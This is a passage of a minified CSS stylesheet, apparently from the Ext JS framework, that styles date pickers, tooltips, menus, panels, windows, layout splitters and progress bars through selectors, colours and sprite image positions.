a{-moz-outline:0 none;outline:0 none;} .x-date-inner,.x-date-inner td,.x-date-inner th{border-collapse:separate;} .x-date-middle,.x-date-left,.x-date-right{background:url(../images/default/shared/hd-sprite.gif) repeat-x 0 -83px;color:#FFF;font:bold 11px "sans serif",tahoma,verdana,helvetica;overflow:hidden;} .x-date-middle .x-btn-left,.x-date-middle .x-btn-center,.x-date-middle .x-btn-right{background:transparent!important;vertical-align:middle;} .x-date-middle .x-btn .x-btn-text{color:#fff;} .x-date-middle .x-btn-with-menu .x-btn-center em{background:transparent url(../images/default/toolbar/btn-arrow-light.gif) no-repeat right 0;} .x-date-right,.x-date-left{width:18px;} .x-date-right{text-align:right;} .x-date-middle{padding-top:2px;padding-bottom:2px;width:130px;} .x-date-right a,.x-date-left a{display:block;width:16px;height:16px;background-position:center;background-repeat:no-repeat;cursor:pointer;-moz-opacity:0.6;opacity:.6;filter:alpha(opacity=60);} .x-date-right a:hover,.x-date-left a:hover{-moz-opacity:1;opacity:1;filter:alpha(opacity=100);} .x-date-right a{background-image:url(../images/default/shared/right-btn.gif);margin-right:2px;text-decoration:none!important;} .x-date-left a{background-image:url(../images/default/shared/left-btn.gif);margin-left:2px;text-decoration:none!important;} table.x-date-inner{width:100%;table-layout:fixed;} .x-date-inner th{width:25px;} .x-date-inner th{background:#dfecfb url(../images/default/shared/glass-bg.gif) repeat-x left top;text-align:right!important;border-bottom:1px solid #a3bad9;font:normal 10px arial,helvetica,tahoma,sans-serif;color:#233d6d;cursor:default;padding:0;border-collapse:separate;} .x-date-inner th span{display:block;padding:2px;padding-right:7px;} .x-date-inner td{border:1px solid #fff;text-align:right;padding:0;} .x-date-inner a{padding:2px 5px;display:block;font:normal 11px arial,helvetica,tahoma,sans-serif;text-decoration:none;color:black;text-align:right;zoom:1;} .x-date-inner .x-date-active{cursor:pointer;color:black;} .x-date-inner .x-date-selected a{background:#dfecfb url(../images/default/shared/glass-bg.gif) repeat-x left top;border:1px solid #8db2e3;padding:1px 4px;} .x-date-inner .x-date-today a{border:1px solid darkred;padding:1px 4px;} .x-date-inner .x-date-selected span{font-weight:bold;} .x-date-inner .x-date-prevday a,.x-date-inner .x-date-nextday a{color:#aaa;text-decoration:none!important;} .x-date-bottom{padding:4px;border-top:1px solid #a3bad9;background:#dfecfb url(../images/default/shared/glass-bg.gif) repeat-x left top;} .x-date-inner a:hover,.x-date-inner .x-date-disabled a:hover{text-decoration:none!important;color:black;background:#ddecfe;} .x-date-inner .x-date-disabled a{cursor:default;background:#eee;color:#bbb;} .x-date-mmenu{background:#eee!important;} .x-date-mmenu .x-menu-item{font-size:10px;padding:1px 24px 1px 4px;white-space:nowrap;color:#000;} .x-date-mmenu .x-menu-item .x-menu-item-icon{width:10px;height:10px;margin-right:5px;background-position:center -4px!important;} .x-date-mp{position:absolute;left:0;top:0;background:white;display:none;} .x-date-mp td{padding:2px;font:normal 11px arial,helvetica,tahoma,sans-serif;} td.x-date-mp-month,td.x-date-mp-year,td.x-date-mp-ybtn{border:0 none;text-align:center;vertical-align:middle;width:25%;} .x-date-mp-ok{margin-right:3px;} .x-date-mp-btns button{text-decoration:none;text-align:center;text-decoration:none!important;background:#083772;color:white;border:1px solid;border-color:#36c #005 #005 #36c;padding:1px 3px 1px;font:normal 11px arial,helvetica,tahoma,sans-serif;cursor:pointer;} .x-date-mp-btns{background:#dfecfb url(../images/default/shared/glass-bg.gif) repeat-x left top;} .x-date-mp-btns td{border-top:1px solid #c5d2df;text-align:center;} td.x-date-mp-month a,td.x-date-mp-year a{display:block;padding:2px 4px;text-decoration:none;text-align:center;color:#15428b;} td.x-date-mp-month a:hover,td.x-date-mp-year a:hover{color:#15428b;text-decoration:none;cursor:pointer;background:#ddecfe;} td.x-date-mp-sel a{padding:1px 3px;background:#dfecfb url(../images/default/shared/glass-bg.gif) repeat-x left top;border:1px solid #8db2e3;} .x-date-mp-ybtn a{overflow:hidden;width:15px;height:15px;cursor:pointer;background:transparent url(../images/default/panel/tool-sprites.gif) no-repeat;display:block;margin:0 auto;} .x-date-mp-ybtn a.x-date-mp-next{background-position:0 -120px;} .x-date-mp-ybtn a.x-date-mp-next:hover{background-position:-15px -120px;} .x-date-mp-ybtn a.x-date-mp-prev{background-position:0 -105px;} .x-date-mp-ybtn a.x-date-mp-prev:hover{background-position:-15px -105px;} .x-date-mp-ybtn{text-align:center;} td.x-date-mp-sep{border-right:1px solid #c5d2df;} .x-tip{position:absolute;top:0;left:0;visibility:hidden;z-index:20000;border:0 none;} .x-tip .x-tip-close{background-image:url(../images/default/qtip/close.gif);height:15px;float:right;width:15px;margin:0 0 2px 2px;cursor:pointer;display:none;} .x-tip .x-tip-tc{background:transparent url(../images/default/qtip/tip-sprite.gif) no-repeat 0 -62px;padding-top:3px;overflow:hidden;zoom:1;} .x-tip .x-tip-tl{background:transparent url(../images/default/qtip/tip-sprite.gif) no-repeat 0 0;padding-left:6px;overflow:hidden;zoom:1;} .x-tip .x-tip-tr{background:transparent url(../images/default/qtip/tip-sprite.gif) no-repeat right 0;padding-right:6px;overflow:hidden;zoom:1;} .x-tip .x-tip-bc{background:transparent url(../images/default/qtip/tip-sprite.gif) no-repeat 0 -121px;height:3px;overflow:hidden;} .x-tip .x-tip-bl{background:transparent url(../images/default/qtip/tip-sprite.gif) no-repeat 0 -59px;padding-left:6px;zoom:1;} .x-tip .x-tip-br{background:transparent url(../images/default/qtip/tip-sprite.gif) no-repeat right -59px;padding-right:6px;zoom:1;} .x-tip .x-tip-mc{border:0 none;font:normal 11px tahoma,arial,helvetica,sans-serif;} .x-tip .x-tip-ml{background:#fff url(../images/default/qtip/tip-sprite.gif) no-repeat 0 -124px;padding-left:6px;zoom:1;} .x-tip .x-tip-mr{background:transparent url(../images/default/qtip/tip-sprite.gif) no-repeat right -124px;padding-right:6px;zoom:1;} .ext-ie .x-tip .x-tip-header,.ext-ie .x-tip .x-tip-tc{font-size:0;line-height:0;} .x-tip .x-tip-header-text{font:bold 11px tahoma,arial,helvetica,sans-serif;padding:0;margin:0 0 2px 0;color:#444;} .x-tip .x-tip-body{font:normal 11px tahoma,arial,helvetica,sans-serif;margin:0!important;line-height:14px;color:#444;padding:0;} .x-tip .x-tip-body .loading-indicator{margin:0;} .x-tip-draggable .x-tip-header,.x-tip-draggable .x-tip-header-text{cursor:move;} .x-form-invalid-tip .x-tip-tc{background:url(../images/default/form/error-tip-corners.gif) repeat-x 0 -12px;padding-top:6px;} .x-form-invalid-tip .x-tip-tl{background-image:url(../images/default/form/error-tip-corners.gif);} .x-form-invalid-tip .x-tip-tr{background-image:url(../images/default/form/error-tip-corners.gif);} .x-form-invalid-tip .x-tip-bc{background:url(../images/default/form/error-tip-corners.gif) repeat-x 0 -18px;height:6px;} .x-form-invalid-tip .x-tip-bl{background:url(../images/default/form/error-tip-corners.gif) no-repeat 0 -6px;} .x-form-invalid-tip .x-tip-br{background:url(../images/default/form/error-tip-corners.gif) no-repeat right -6px;} .x-form-invalid-tip .x-tip-ml{background-image:url(../images/default/form/error-tip-corners.gif);} .x-form-invalid-tip .x-tip-mr{background-image:url(../images/default/form/error-tip-corners.gif);} .x-form-invalid-tip .x-tip-body{padding:2px;} .x-form-invalid-tip .x-tip-body{padding-left:24px;background:transparent url(../images/default/form/exclamation.gif) no-repeat 2px 2px;} .x-menu{border:1px solid #718bb7;z-index:15000;zoom:1;background:#f0f0f0 url(../images/default/menu/menu.gif) repeat-y;padding:2px;} .x-menu a{text-decoration:none!important;} .ext-ie .x-menu{zoom:1;overflow:hidden;} .x-menu-list{background:transparent;border:0 none;} .x-menu li{line-height:100%;} .x-menu li.x-menu-sep-li{font-size:1px;line-height:1px;} .x-menu-list-item{font:normal 11px tahoma,arial,sans-serif;white-space:nowrap;-moz-user-select:none;-khtml-user-select:none;display:block;padding:1px;} .x-menu-item-arrow{background:transparent url(../images/default/menu/menu-parent.gif) no-repeat right;} .x-menu-sep{display:block;font-size:1px;line-height:1px;margin:2px 3px;background-color:#e0e0e0;border-bottom:1px solid #fff;overflow:hidden;} .x-menu-focus{position:absolute;left:-1px;top:-1px;width:1px;height:1px;line-height:1px;font-size:1px;-moz-outline:0 none;outline:0 none;-moz-user-select:text;-khtml-user-select:text;overflow:hidden;display:block;} .x-menu a.x-menu-item{display:block;line-height:16px;padding:3px 21px 3px 3px;white-space:nowrap;text-decoration:none;color:#222;-moz-outline:0 none;outline:0 none;cursor:pointer;} .x-menu-item-active{background:#ebf3fd url(../images/default/menu/item-over.gif) repeat-x left bottom;border:1px solid #aaccf6;padding:0;} .x-menu-item-active a.x-menu-item{color:#233d6d;} .x-menu-item-icon{border:0 none;height:16px;padding:0;vertical-align:top;width:16px;margin:0 8px 0 0;background-position:center;} .x-menu-check-item .x-menu-item-icon{background:transparent url(../images/default/menu/unchecked.gif) no-repeat center;} .x-menu-item-checked .x-menu-item-icon{background-image:url(../images/default/menu/checked.gif);} .x-menu-group-item .x-menu-item-icon{background:transparent;} .x-menu-item-checked .x-menu-group-item .x-menu-item-icon{background:transparent url(../images/default/menu/group-checked.gif) no-repeat center;} .x-menu-plain{background:#fff!important;} .x-menu-date-item{padding:0;} .x-menu .x-color-palette,.x-menu .x-date-picker{margin-left:26px;margin-right:4px;} .x-menu .x-date-picker{border:1px solid #a3bad9;margin-top:2px;margin-bottom:2px;} .x-menu-plain .x-color-palette,.x-menu-plain .x-date-picker{margin:0;border:0 none;} .x-date-menu{padding:0!important;} .x-cycle-menu .x-menu-item-checked{border:1px dotted #a3bae9!important;background:#DFE8F6;padding:0;} .x-box-tl{background:transparent url(../images/default/box/corners.gif) no-repeat 0 0;zoom:1;} .x-box-tc{height:8px;background:transparent url(../images/default/box/tb.gif) repeat-x 0 0;overflow:hidden;} .x-box-tr{background:transparent url(../images/default/box/corners.gif) no-repeat right -8px;} .x-box-ml{background:transparent url(../images/default/box/l.gif) repeat-y 0;padding-left:4px;overflow:hidden;zoom:1;} .x-box-mc{background:#eee url(../images/default/box/tb.gif) repeat-x 0 -16px;padding:4px 10px;font-family:"Myriad Pro","Myriad Web","Tahoma","Helvetica","Arial",sans-serif;color:#393939;font-size:12px;} .x-box-mc h3{font-size:14px;font-weight:bold;margin:0 0 4px 0;zoom:1;} .x-box-mr{background:transparent url(../images/default/box/r.gif) repeat-y right;padding-right:4px;overflow:hidden;} .x-box-bl{background:transparent url(../images/default/box/corners.gif) no-repeat 0 -16px;zoom:1;} .x-box-bc{background:transparent url(../images/default/box/tb.gif) repeat-x 0 -8px;height:8px;overflow:hidden;} .x-box-br{background:transparent url(../images/default/box/corners.gif) no-repeat right -24px;} .x-box-tl,.x-box-bl{padding-left:8px;overflow:hidden;} .x-box-tr,.x-box-br{padding-right:8px;overflow:hidden;} .x-box-blue .x-box-bl,.x-box-blue .x-box-br,.x-box-blue .x-box-tl,.x-box-blue .x-box-tr{background-image:url(../images/default/box/corners-blue.gif);} .x-box-blue .x-box-bc,.x-box-blue .x-box-mc,.x-box-blue .x-box-tc{background-image:url(../images/default/box/tb-blue.gif);} .x-box-blue .x-box-mc{background-color:#c3daf9;} .x-box-blue .x-box-mc h3{color:#17385b;} .x-box-blue .x-box-ml{background-image:url(../images/default/box/l-blue.gif);} .x-box-blue .x-box-mr{background-image:url(../images/default/box/r-blue.gif);} #x-debug-browser .x-tree .x-tree-node a span{color:#222297;font-size:11px;padding-top:2px;font-family:"monotype","courier new",sans-serif;line-height:18px;} #x-debug-browser .x-tree a i{color:#FF4545;font-style:normal;} #x-debug-browser .x-tree a em{color:#999;} #x-debug-browser .x-tree .x-tree-node .x-tree-selected a span{background:#c3daf9;} #x-debug-browser .x-tool-toggle{background-position:0 -75px;} #x-debug-browser .x-tool-toggle-over{background-position:-15px -75px;} #x-debug-browser.x-panel-collapsed .x-tool-toggle{background-position:0 -60px;} #x-debug-browser.x-panel-collapsed .x-tool-toggle-over{background-position:-15px -60px;} .x-combo-list{border:1px solid #98c0f4;background:#ddecfe;zoom:1;overflow:hidden;} .x-combo-list-inner{overflow:auto;background:white;position:relative;zoom:1;overflow-x:hidden;} .x-combo-list-hd{font:bold 11px tahoma,arial,helvetica,sans-serif;color:#15428b;background-image:url(../images/default/layout/panel-title-light-bg.gif);border-bottom:1px solid #98c0f4;padding:3px;} .x-resizable-pinned .x-combo-list-inner{border-bottom:1px solid #98c0f4;} .x-combo-list-item{font:normal 12px tahoma,arial,helvetica,sans-serif;padding:2px;border:1px solid #fff;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;} .x-combo-list .x-combo-selected{border:1px dotted #a3bae9!important;background:#DFE8F6;cursor:pointer;} .x-combo-noedit{cursor:pointer;} .x-combo-list .x-toolbar{border-top:1px solid #98c0f4;border-bottom:0 none;} .x-combo-list-small .x-combo-list-item{font:normal 11px tahoma,arial,helvetica,sans-serif;} .x-panel{border-style:solid;border-color:#99bbe8;border-width:0;} .x-panel-header{overflow:hidden;zoom:1;color:#15428b;font:bold 11px tahoma,arial,verdana,sans-serif;padding:5px 3px 4px 5px;border:1px solid #99bbe8;line-height:15px;background:transparent url(../images/default/panel/white-top-bottom.gif) repeat-x 0 -1px;} .x-panel-body{border:1px solid #99bbe8;border-top:0 none;overflow:hidden;background:white;position:relative;} .x-panel-bbar .x-toolbar{border:1px solid #99bbe8;border-top:0 none;overflow:hidden;padding:2px;} .x-panel-tbar .x-toolbar{border:1px solid #99bbe8;border-top:0 none;overflow:hidden;padding:2px;} .x-panel-tbar-noheader .x-toolbar,.x-panel-mc .x-panel-tbar .x-toolbar{border-top:1px solid #99bbe8;border-bottom:0 none;} .x-panel-body-noheader,.x-panel-mc .x-panel-body{border-top:1px solid #99bbe8;} .x-panel-header{overflow:hidden;zoom:1;} .x-panel-tl .x-panel-header{color:#15428b;font:bold 11px tahoma,arial,verdana,sans-serif;padding:5px 0 4px 0;border:0 none;background:transparent;} .x-panel-tl .x-panel-icon,.x-window-tl .x-panel-icon{padding-left:20px!important;background-repeat:no-repeat;background-position:0 4px;zoom:1;} .x-panel-inline-icon{width:16px;height:16px;background-repeat:no-repeat;background-position:0 0;vertical-align:middle;margin-right:4px;margin-top:-1px;margin-bottom:-1px;} .x-panel-tc{background:transparent url(../images/default/panel/top-bottom.gif) repeat-x 0 0;overflow:hidden;} .ext-strict .ext-ie7 .x-panel-tc{overflow:visible;} .x-panel-tl{background:transparent url(../images/default/panel/corners-sprite.gif) no-repeat 0 0;padding-left:6px;zoom:1;border-bottom:1px solid #99bbe8;} .x-panel-tr{background:transparent url(../images/default/panel/corners-sprite.gif) no-repeat right 0;zoom:1;padding-right:6px;} .x-panel-bc{background:transparent url(../images/default/panel/top-bottom.gif) repeat-x 0 bottom;zoom:1;} .x-panel-bc .x-panel-footer{zoom:1;} .x-panel-bl{background:transparent url(../images/default/panel/corners-sprite.gif) no-repeat 0 bottom;padding-left:6px;zoom:1;} .x-panel-br{background:transparent url(../images/default/panel/corners-sprite.gif) no-repeat right bottom;padding-right:6px;zoom:1;} .x-panel-mc{border:0 none;padding:0;margin:0;font:normal 11px tahoma,arial,helvetica,sans-serif;padding-top:6px;background:#dfe8f6;} .x-panel-mc .x-panel-body{background:transparent;border:0 none;} .x-panel-ml{background:#fff url(../images/default/panel/left-right.gif) repeat-y 0 0;padding-left:6px;zoom:1;} .x-panel-mr{background:transparent url(../images/default/panel/left-right.gif) repeat-y right 0;padding-right:6px;zoom:1;} .x-panel-bc .x-panel-footer{padding-bottom:6px;} .x-panel-nofooter .x-panel-bc,.x-panel-nofooter .x-window-bc{height:6px;font-size:0;line-height:0;} .x-panel-bwrap{overflow:hidden;zoom:1;left:0;top:0;} .x-panel-body{overflow:hidden;zoom:1;} .x-panel-collapsed .x-resizable-handle{display:none;} .ext-gecko .x-panel-animated div{overflow:hidden!important;} .x-plain-body{overflow:hidden;} .x-plain-bbar .x-toolbar{overflow:hidden;padding:2px;} .x-plain-tbar .x-toolbar{overflow:hidden;padding:2px;} .x-plain-bwrap{overflow:hidden;zoom:1;} .x-plain{overflow:hidden;} .x-tool{overflow:hidden;width:15px;height:15px;float:right;cursor:pointer;background:transparent url(../images/default/panel/tool-sprites.gif) no-repeat;margin-left:2px;} .x-tool-toggle{background-position:0 -60px;} .x-tool-toggle-over{background-position:-15px -60px;} .x-panel-collapsed .x-tool-toggle{background-position:0 -75px;} .x-panel-collapsed .x-tool-toggle-over{background-position:-15px -75px;} .x-tool-close{background-position:0 -0;} .x-tool-close-over{background-position:-15px 0;} .x-tool-minimize{background-position:0 -15px;} .x-tool-minimize-over{background-position:-15px -15px;} .x-tool-maximize{background-position:0 -30px;} .x-tool-maximize-over{background-position:-15px -30px;} .x-tool-restore{background-position:0 -45px;} .x-tool-restore-over{background-position:-15px -45px;} .x-tool-gear{background-position:0 -90px;} .x-tool-gear-over{background-position:-15px -90px;} .x-tool-pin{background-position:0 -135px;} .x-tool-pin-over{background-position:-15px -135px;} .x-tool-unpin{background-position:0 -150px;} .x-tool-unpin-over{background-position:-15px -150px;} .x-tool-right{background-position:0 -165px;} .x-tool-right-over{background-position:-15px -165px;} .x-tool-left{background-position:0 -180px;} .x-tool-left-over{background-position:-15px -180px;} .x-tool-up{background-position:0 -210px;} .x-tool-up-over{background-position:-15px -210px;} .x-tool-down{background-position:0 -195px;} .x-tool-down-over{background-position:-15px -195px;} .x-tool-refresh{background-position:0 -225px;} .x-tool-refresh-over{background-position:-15px -225px;} .x-tool-minus{background-position:0 -255px;} .x-tool-minus-over{background-position:-15px -255px;} .x-tool-plus{background-position:0 -240px;} .x-tool-plus-over{background-position:-15px -240px;} .x-tool-search{background-position:0 -270px;} .x-tool-search-over{background-position:-15px -270px;} .x-tool-save{background-position:0 -285px;} .x-tool-save-over{background-position:-15px -285px;} .x-tool-help{background-position:0 -300px;} .x-tool-help-over{background-position:-15px -300px;} .x-tool-print{background-position:0 -315px;} .x-tool-print-over{background-position:-15px -315px;} .x-panel-ghost{background:#cbddf3;z-index:12000;overflow:hidden;position:absolute;left:0;top:0;opacity:.65;-moz-opacity:.65;filter:alpha(opacity=65);} .x-panel-ghost ul{margin:0;padding:0;overflow:hidden;font-size:0;line-height:0;border:1px solid #99bbe8;border-top:0 none;display:block;} .x-panel-ghost *{cursor:move!important;} .x-panel-dd-spacer{border:2px dashed #99bbe8;} .x-panel-btns-ct{padding:5px;} .x-panel-btns-ct .x-btn{float:right;clear:none;} .x-panel-btns-ct .x-panel-btns td{border:0;padding:0;} .x-panel-btns-ct .x-panel-btns-right table{float:right;clear:none;} .x-panel-btns-ct .x-panel-btns-left table{float:left;clear:none;} .x-panel-btns-ct .x-panel-btns-center{text-align:center;} .x-panel-btns-ct .x-panel-btns-center table{margin:0 auto;} .x-panel-btns-ct table td.x-panel-btn-td{padding:3px;} .x-panel-btns-ct .x-btn-focus .x-btn-left{background-position:0 -147px;} .x-panel-btns-ct .x-btn-focus .x-btn-right{background-position:0 -168px;} .x-panel-btns-ct .x-btn-focus .x-btn-center{background-position:0 -189px;} .x-panel-btns-ct .x-btn-over .x-btn-left{background-position:0 -63px;} .x-panel-btns-ct .x-btn-over .x-btn-right{background-position:0 -84px;} .x-panel-btns-ct .x-btn-over .x-btn-center{background-position:0 -105px;} .x-panel-btns-ct .x-btn-click .x-btn-center{background-position:0 -126px;} .x-panel-btns-ct .x-btn-click .x-btn-right{background-position:0 -84px;} .x-panel-btns-ct .x-btn-click .x-btn-left{background-position:0 -63px;} .x-window{zoom:1;} .x-window .x-resizable-handle{opacity:0;-moz-opacity:0;filter:alpha(opacity=0);} .x-window-proxy{background:#C7DFFC;border:1px solid #99bbe8;z-index:12000;overflow:hidden;position:absolute;left:0;top:0;display:none;opacity:.5;-moz-opacity:.5;filter:alpha(opacity=50);} .x-window-header{overflow:hidden;zoom:1;} .x-window-bwrap{z-index:1;position:relative;zoom:1;left:0;top:0;} .x-window-tl .x-window-header{color:#15428b;font:bold 11px tahoma,arial,verdana,sans-serif;padding:5px 0 4px 0;} .x-window-header-text{cursor:pointer;} .x-window-tc{background:transparent url(../images/default/window/top-bottom.png) repeat-x 0 0;overflow:hidden;zoom:1;} .x-window-tl{background:transparent url(../images/default/window/left-corners.png) no-repeat 0 0;padding-left:6px;zoom:1;z-index:1;position:relative;} .x-window-tr{background:transparent url(../images/default/window/right-corners.png) no-repeat right 0;padding-right:6px;} .x-window-bc{background:transparent url(../images/default/window/top-bottom.png) repeat-x 0 bottom;zoom:1;} .x-window-bc .x-window-footer{padding-bottom:6px;zoom:1;font-size:0;line-height:0;} .x-window-bl{background:transparent url(../images/default/window/left-corners.png) no-repeat 0 bottom;padding-left:6px;zoom:1;} .x-window-br{background:transparent url(../images/default/window/right-corners.png) no-repeat right bottom;padding-right:6px;zoom:1;} .x-window-mc{border:1px solid #99bbe8;padding:0;margin:0;font:normal 11px tahoma,arial,helvetica,sans-serif;background:#dfe8f6;} .x-window-ml{background:transparent url(../images/default/window/left-right.png) repeat-y 0 0;padding-left:6px;zoom:1;} .x-window-mr{background:transparent url(../images/default/window/left-right.png) repeat-y right 0;padding-right:6px;zoom:1;} .x-window-body{overflow:hidden;} .x-window-bwrap{overflow:hidden;} .x-window-maximized .x-window-bl,.x-window-maximized .x-window-br,.x-window-maximized .x-window-ml,.x-window-maximized .x-window-mr,.x-window-maximized .x-window-tl,.x-window-maximized .x-window-tr{padding:0;} .x-window-maximized .x-window-footer{padding-bottom:0;} .x-window-maximized .x-window-tc{padding-left:3px;padding-right:3px;background-color:white;} .x-window-maximized .x-window-mc{border-left:0 none;border-right:0 none;} .x-window-tbar .x-toolbar,.x-window-bbar .x-toolbar{border-left:0 none;border-right:0 none;} .x-window-bbar .x-toolbar{border-top:1px solid #99bbe8;border-bottom:0 none;} .x-window-draggable,.x-window-draggable .x-window-header-text{cursor:move;} .x-window-maximized .x-window-draggable,.x-window-maximized .x-window-draggable .x-window-header-text{cursor:default;} .x-window-body{background:transparent;} .x-panel-ghost .x-window-tl{border-bottom:1px solid #99bbe8;} .x-panel-collapsed .x-window-tl{border-bottom:1px solid #84a0c4;} .x-window-maximized-ct{overflow:hidden;} .x-window-maximized .x-resizable-handle{display:none;} .x-window-sizing-ghost ul{border:0 none!important;} .x-dlg-focus{-moz-outline:0 none;outline:0 none;width:0;height:0;overflow:hidden;position:absolute;top:0;left:0;} .x-dlg-mask{z-index:10000;display:none;position:absolute;top:0;left:0;-moz-opacity:0.5;opacity:.50;filter:alpha(opacity=50);background-color:#CCC;} body.ext-ie6.x-body-masked select{visibility:hidden;} body.ext-ie6.x-body-masked .x-window select{visibility:visible;} .x-window-plain .x-window-mc{background:#CAD9EC;border-right:1px solid #DFE8F6;border-bottom:1px solid #DFE8F6;border-top:1px solid #a3bae9;border-left:1px solid #a3bae9;} .x-window-plain .x-window-body{border-left:1px solid #DFE8F6;border-top:1px solid #DFE8F6;border-bottom:1px solid #a3bae9;border-right:1px solid #a3bae9;background:transparent!important;} body.x-body-masked .x-window-plain .x-window-mc{background:#C7D6E9;} .x-html-editor-wrap{border:1px solid #a9bfd3;background:white;} .x-html-editor-tb .x-btn-text{background:transparent url(../images/default/editor/tb-sprite.gif) no-repeat;} .x-html-editor-tb .x-edit-bold .x-btn-text{background-position:0 0;} .x-html-editor-tb .x-edit-italic .x-btn-text{background-position:-16px 0;} .x-html-editor-tb .x-edit-underline .x-btn-text{background-position:-32px 0;} .x-html-editor-tb .x-edit-forecolor .x-btn-text{background-position:-160px 0;} .x-html-editor-tb .x-edit-backcolor .x-btn-text{background-position:-176px 0;} .x-html-editor-tb .x-edit-justifyleft .x-btn-text{background-position:-112px 0;} .x-html-editor-tb .x-edit-justifycenter .x-btn-text{background-position:-128px 0;} .x-html-editor-tb .x-edit-justifyright .x-btn-text{background-position:-144px 0;} .x-html-editor-tb .x-edit-insertorderedlist .x-btn-text{background-position:-80px 0;} .x-html-editor-tb .x-edit-insertunorderedlist .x-btn-text{background-position:-96px 0;} .x-html-editor-tb .x-edit-increasefontsize .x-btn-text{background-position:-48px 0;} .x-html-editor-tb .x-edit-decreasefontsize .x-btn-text{background-position:-64px 0;} .x-html-editor-tb .x-edit-sourceedit .x-btn-text{background-position:-192px 0;} .x-html-editor-tb .x-edit-createlink .x-btn-text{background-position:-208px 0;} .x-html-editor-tip .x-tip-bd .x-tip-bd-inner{padding:5px;padding-bottom:1px;} .x-html-editor-tb .x-toolbar{position:static!important;} .x-panel-noborder .x-panel-body-noborder{border-width:0;} .x-panel-noborder .x-panel-header-noborder{border-width:0;border-bottom:1px solid #99bbe8;} .x-panel-noborder .x-panel-tbar-noborder .x-toolbar{border-width:0;border-bottom:1px solid #99bbe8;} .x-panel-noborder .x-panel-bbar-noborder .x-toolbar{border-width:0;border-top:1px solid #99bbe8;} .x-window-noborder .x-window-mc{border-width:0;} .x-window-plain .x-window-body-noborder{border-width:0;} .x-tab-panel-noborder .x-tab-panel-body-noborder{border-width:0;} .x-tab-panel-noborder .x-tab-panel-header-noborder{border-top-width:0;border-left-width:0;border-right-width:0;} .x-tab-panel-noborder .x-tab-panel-footer-noborder{border-bottom-width:0;border-left-width:0;border-right-width:0;} .x-tab-panel-bbar-noborder .x-toolbar{border-width:0;border-top:1px solid #99bbe8;} .x-tab-panel-tbar-noborder .x-toolbar{border-width:0;border-bottom:1px solid #99bbe8;} .x-border-layout-ct{background:#dfe8f6;} .x-border-panel{position:absolute;left:0;top:0;} .x-tool-collapse-south{background-position:0 -195px;} .x-tool-collapse-south-over{background-position:-15px -195px;} .x-tool-collapse-north{background-position:0 -210px;} .x-tool-collapse-north-over{background-position:-15px -210px;} .x-tool-collapse-west{background-position:0 -180px;} .x-tool-collapse-west-over{background-position:-15px -180px;} .x-tool-collapse-east{background-position:0 -165px;} .x-tool-collapse-east-over{background-position:-15px -165px;} .x-tool-expand-south{background-position:0 -210px;} .x-tool-expand-south-over{background-position:-15px -210px;} .x-tool-expand-north{background-position:0 -195px;} .x-tool-expand-north-over{background-position:-15px -195px;} .x-tool-expand-west{background-position:0 -165px;} .x-tool-expand-west-over{background-position:-15px -165px;} .x-tool-expand-east{background-position:0 -180px;} .x-tool-expand-east-over{background-position:-15px -180px;} .x-tool-expand-north,.x-tool-expand-south{float:right;margin:3px;} .x-tool-expand-east,.x-tool-expand-west{float:none;margin:3px auto;} .x-accordion-hd .x-tool-toggle{background-position:0 -255px;} .x-accordion-hd .x-tool-toggle-over{background-position:-15px -255px;} .x-panel-collapsed .x-accordion-hd .x-tool-toggle{background-position:0 -240px;} .x-panel-collapsed .x-accordion-hd .x-tool-toggle-over{background-position:-15px -240px;} .x-accordion-hd{color:#222;padding-top:4px;padding-bottom:3px;border-top:0 none;font-weight:normal;background:transparent url(../images/default/panel/light-hd.gif) repeat-x 0 -9px;} .x-layout-collapsed{position:absolute;left:-10000px;top:-10000px;visibility:hidden;background-color:#d2e0f2;width:20px;height:20px;overflow:hidden;border:1px solid #98c0f4;z-index:20;} .ext-border-box .x-layout-collapsed{width:22px;height:22px;} .x-layout-collapsed-over{cursor:pointer;background-color:#d9e8fb;} .x-layout-collapsed-west .x-layout-collapsed-tools,.x-layout-collapsed-east .x-layout-collapsed-tools{position:absolute;top:0;left:0;width:20px;height:20px;} .x-layout-split{position:absolute;height:5px;width:5px;line-height:1px;font-size:1px;z-index:3;background-color:transparent;} .ext-strict .ext-ie6 .x-layout-split{background-color:#fff!important;filter:alpha(opacity=1);} .x-layout-split-h{background-image:url(../images/default/s.gif);background-position:left;} .x-layout-split-v{background-image:url(../images/default/s.gif);background-position:top;} .x-column-layout-ct{overflow:hidden;zoom:1;} .x-column{float:left;padding:0;margin:0;overflow:hidden;zoom:1;} .x-layout-mini{position:absolute;top:0;left:0;display:block;width:5px;height:35px;cursor:pointer;opacity:.5;-moz-opacity:.5;filter:alpha(opacity=50);} .x-layout-mini-over,.x-layout-collapsed-over .x-layout-mini{opacity:1;-moz-opacity:1;filter:none;} .x-layout-split-west .x-layout-mini{top:48%;background-image:url(../images/default/layout/mini-left.gif);} .x-layout-split-east .x-layout-mini{top:48%;background-image:url(../images/default/layout/mini-right.gif);} .x-layout-split-north .x-layout-mini{left:48%;height:5px;width:35px;background-image:url(../images/default/layout/mini-top.gif);} .x-layout-split-south .x-layout-mini{left:48%;height:5px;width:35px;background-image:url(../images/default/layout/mini-bottom.gif);} .x-layout-cmini-west .x-layout-mini{top:48%;background-image:url(../images/default/layout/mini-right.gif);} .x-layout-cmini-east .x-layout-mini{top:48%;background-image:url(../images/default/layout/mini-left.gif);} .x-layout-cmini-north .x-layout-mini{left:48%;height:5px;width:35px;background-image:url(../images/default/layout/mini-bottom.gif);} .x-layout-cmini-south .x-layout-mini{left:48%;height:5px;width:35px;background-image:url(../images/default/layout/mini-top.gif);} .x-layout-cmini-west,.x-layout-cmini-east{border:0 none;width:5px!important;padding:0;background:transparent;} .x-layout-cmini-north,.x-layout-cmini-south{border:0 none;height:5px!important;padding:0;background:transparent;} .x-viewport,.x-viewport body{margin:0;padding:0;border:0 none;overflow:hidden;height:100%;} .x-abs-layout-item{position:absolute;left:0;top:0;} .ext-ie input.x-abs-layout-item,.ext-ie textarea.x-abs-layout-item{margin:0;} .x-progress-wrap{border:1px solid #6593cf;overflow:hidden;} .x-progress-inner{height:18px;background:#e0e8f3 url(../images/default/qtip/bg.gif) repeat-x;position:relative;} .x-progress-bar{height:18px;float:left;width:0;background:#9CBFEE url( ../images/default/progress/progress-bg.gif ) repeat-x left center;border-top:1px solid #D1E4FD;border-bottom:1px solid #7FA9E4;border-right:1px solid #7FA9E4;} .x-progress-text{font-size:11px;font-weight:bold;color:#fff;padding:1px 5px;overflow:hidden;position:absolute;left:0;text-align:center;} .x-progress-text-back{color:#396095;line-height:16px;} .ext-ie 